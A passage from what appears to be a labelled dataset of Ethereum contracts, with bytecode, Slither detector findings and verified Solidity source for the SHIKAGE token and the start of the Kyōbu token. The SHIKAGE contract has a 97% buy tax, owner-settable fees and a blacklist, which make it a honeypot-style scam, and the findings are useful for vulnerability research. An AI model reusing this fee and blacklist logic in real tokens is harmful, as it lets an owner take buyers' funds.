04051601f19603f83011681018181108582111715611a6857611a686119dc565b604052918252848201925083810185019188831115611a8657600080fd5b938501935b82851015611aab57611a9c8561195f565b84529385019392850192611a8b565b98975050505050505050565b600060208284031215611ac957600080fd5b81356114958161194a565b60008060408385031215611ae757600080fd5b8235611af28161194a565b91506020830135611b028161194a565b809150509250929050565b600060208284031215611b1f57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9b57611b9b611b71565b5060010190565b60008219821115611bb557611bb5611b71565b500190565b600060208284031215611bcc57600080fd5b81516114958161194a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c275784516001600160a01b031683529383019391830191600101611c02565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5a57611c5a611b71565b500390565b6000816000190483118215151615611c7957611c79611b71565b500290565b600082611c9b57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206c35e016cb49545468ed09ad271313e11644f833e41e11c8054964f6d2f8b8a664736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,967 |
0x62c88991135d7f1d4def7066123aaa147d4ed338
|
/**
*Submitted for verification at Etherscan.io on 2022-03-19
*/
/**
*/
/**
Shikage is the strongest Shiba protecting all of its DeFi villagers
Website: https://shikage.space/
Twitter: https://twitter.com/ShikageEth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIKAGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SHIKAGE";
string private constant _symbol = "SHIKAGE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x06555dB8881440dcCc10c120142e73d7ed35927d);
address payable private _marketingAddress = payable(0x06555dB8881440dcCc10c120142e73d7ed35927d);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 1000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104475780638f9a55c01461046757806395d89b41146101fe57806398a5c3151461047d57600080fd5b80637d1db4a5146103e65780637f2feddc146103fc5780638da5cb5b1461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192c565b6105c8565b005b34801561020a57600080fd5b5060408051808201825260078152665348494b41474560c81b6020820152905161023491906119f1565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a46565b610667565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50670de0b6b3a76400005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e5366004611a72565b61067e565b3480156102f657600080fd5b506102bc60185481565b34801561030c57600080fd5b5060405160098152602001610234565b34801561032857600080fd5b5060155461028d906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611ab3565b6106e7565b34801561036857600080fd5b506101fc610377366004611ae0565b610732565b34801561038857600080fd5b506101fc61077a565b34801561039d57600080fd5b506102bc6103ac366004611ab3565b6107c5565b3480156103bd57600080fd5b506101fc6107e7565b3480156103d257600080fd5b506101fc6103e1366004611afb565b61085b565b3480156103f257600080fd5b506102bc60165481565b34801561040857600080fd5b506102bc610417366004611ab3565b60116020526000908152604090205481565b34801561043557600080fd5b506000546001600160a01b031661028d565b34801561045357600080fd5b506101fc610462366004611ae0565b61088a565b34801561047357600080fd5b506102bc60175481565b34801561048957600080fd5b506101fc610498366004611afb565b6108d2565b3480156104a957600080fd5b506101fc6104b8366004611b14565b610901565b3480156104c957600080fd5b5061025d6104d8366004611a46565b61093f565b3480156104e957600080fd5b5061025d6104f8366004611ab3565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc61094c565b34801561052e57600080fd5b506101fc61053d366004611b46565b6109a0565b34801561054e57600080fd5b506102bc61055d366004611bca565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101fc6105a3366004611afb565b610a41565b3480156105b457600080fd5b506101fc6105c3366004611ab3565b610a70565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611c03565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611c38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611c64565b9150506105fe565b5050565b6000610674338484610b5a565b5060015b92915050565b600061068b848484610c7e565b6106dd84336106d885604051806060016040528060288152602001611d7e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ba565b610b5a565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075c5760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107af57506013546001600160a01b0316336001600160a01b0316145b6107b857600080fd5b476107c2816111f4565b50565b6001600160a01b0381166000908152600260205260408120546106789061122e565b6000546001600160a01b031633146108115760405162461bcd60e51b81526004016105f290611c03565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016105f290611c03565b601655565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fc5760405162461bcd60e51b81526004016105f290611c03565b601855565b6000546001600160a01b0316331461092b5760405162461bcd60e51b81526004016105f290611c03565b600893909355600a91909155600955600b55565b6000610674338484610c7e565b6012546001600160a01b0316336001600160a01b0316148061098157506013546001600160a01b0316336001600160a01b0316145b61098a57600080fd5b6000610995306107c5565b90506107c2816112b2565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f290611c03565b60005b82811015610a3b5781600560008686858181106109ec576109ec611c38565b9050602002016020810190610a019190611ab3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3381611c64565b9150506109cd565b50505050565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b81526004016105f290611c03565b601755565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b038116610aff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610c1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610d445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610da65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610dd257506000546001600160a01b03838116911614155b156110b357601554600160a01b900460ff16610e6b576000546001600160a01b03848116911614610e6b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b601654811115610ebd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01b03831660009081526010602052604090205460ff16158015610eff57506001600160a01b03821660009081526010602052604090205460ff16155b610f575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b03838116911614610fdc5760175481610f79846107c5565b610f839190611c7f565b10610fdc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b6000610fe7306107c5565b6018546016549192508210159082106110005760165491505b8080156110175750601554600160a81b900460ff16155b801561103157506015546001600160a01b03868116911614155b80156110465750601554600160b01b900460ff165b801561106b57506001600160a01b03851660009081526005602052604090205460ff16155b801561109057506001600160a01b03841660009081526005602052604090205460ff16155b156110b05761109e826112b2565b4780156110ae576110ae476111f4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f557506001600160a01b03831660009081526005602052604090205460ff165b8061112757506015546001600160a01b0385811691161480159061112757506015546001600160a01b03848116911614155b15611134575060006111ae565b6015546001600160a01b03858116911614801561115f57506014546001600160a01b03848116911614155b1561117157600854600c55600954600d555b6015546001600160a01b03848116911614801561119c57506014546001600160a01b03858116911614155b156111ae57600a54600c55600b54600d555b610a3b8484848461143b565b600081848411156111de5760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611c97565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610663573d6000803e3d6000fd5b60006006548211156112955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b600061129f611469565b90506112ab838261148c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fa576112fa611c38565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113869190611cae565b8160018151811061139957611399611c38565b6001600160a01b0392831660209182029290920101526014546113bf9130911684610b5a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f8908590600090869030904290600401611ccb565b600060405180830381600087803b15801561141257600080fd5b505af1158015611426573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611448576114486114ce565b6114538484846114fc565b80610a3b57610a3b600e54600c55600f54600d55565b60008060006114766115f3565b9092509050611485828261148c565b9250505090565b60006112ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611633565b600c541580156114de5750600d54155b156114e557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150e87611661565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154090876116be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156f9086611700565b6001600160a01b0389166000908152600260205260409020556115918161175f565b61159b84836117a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160e828261148c565b82101561162a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116545760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611d3c565b600080600080600080600080600061167e8a600c54600d546117cd565b925092509250600061168e611469565b905060008060006116a18e878787611822565b919e509c509a509598509396509194505050505091939550919395565b60006112ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ba565b60008061170d8385611c7f565b9050838110156112ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b6000611769611469565b905060006117778383611872565b306000908152600260205260409020549091506117949082611700565b30600090815260026020526040902055505050565b6006546117b690836116be565b6006556007546117c69082611700565b6007555050565b60008080806117e760646117e18989611872565b9061148c565b905060006117fa60646117e18a89611872565b905060006118128261180c8b866116be565b906116be565b9992985090965090945050505050565b60008080806118318886611872565b9050600061183f8887611872565b9050600061184d8888611872565b9050600061185f8261180c86866116be565b939b939a50919850919650505050505050565b60008261188157506000610678565b600061188d8385611d5e565b90508261189a8583611d3c565b146112ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fd5b803561192781611907565b919050565b6000602080838503121561193f57600080fd5b823567ffffffffffffffff8082111561195757600080fd5b818501915085601f83011261196b57600080fd5b81358181111561197d5761197d6118f1565b8060051b604051601f19603f830116810181811085821117156119a2576119a26118f1565b6040529182528482019250838101850191888311156119c057600080fd5b938501935b828510156119e5576119d68561191c565b845293850193928501926119c5565b98975050505050505050565b600060208083528351808285015260005b81811015611a1e57858101830151858201604001528201611a02565b81811115611a30576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5957600080fd5b8235611a6481611907565b946020939093013593505050565b600080600060608486031215611a8757600080fd5b8335611a9281611907565b92506020840135611aa281611907565b929592945050506040919091013590565b600060208284031215611ac557600080fd5b81356112ab81611907565b8035801515811461192757600080fd5b600060208284031215611af257600080fd5b6112ab82611ad0565b600060208284031215611b0d57600080fd5b5035919050565b60008060008060808587031215611b2a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b8760208260051b8501011115611bab57600080fd5b602092830195509350611bc19186019050611ad0565b90509250925092565b60008060408385031215611bdd57600080fd5b8235611be881611907565b91506020830135611bf881611907565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7857611c78611c4e565b5060010190565b60008219821115611c9257611c92611c4e565b500190565b600082821015611ca957611ca9611c4e565b500390565b600060208284031215611cc057600080fd5b81516112ab81611907565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1b5784516001600160a01b031683529383019391830191600101611cf6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7857611d78611c4e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204cb4867c33222377d6c707467d88d5f4cf6a471445704b9410c136e42fcf7e7064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,968 |
0x7b11be19168d32971e89df4dc01326c2332e975a
|
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/*
Welcome to Kyōbu.
Telegram: https://t.me/KyobuOfficial
Website: https://kyobu.io
Kyōbu are celestial fox spirits with lush purple fur and full, fluffy tails reminiscent of lavender petals. They are holy creatures, and bring happiness and blessings to those around them.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Kyōbu was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
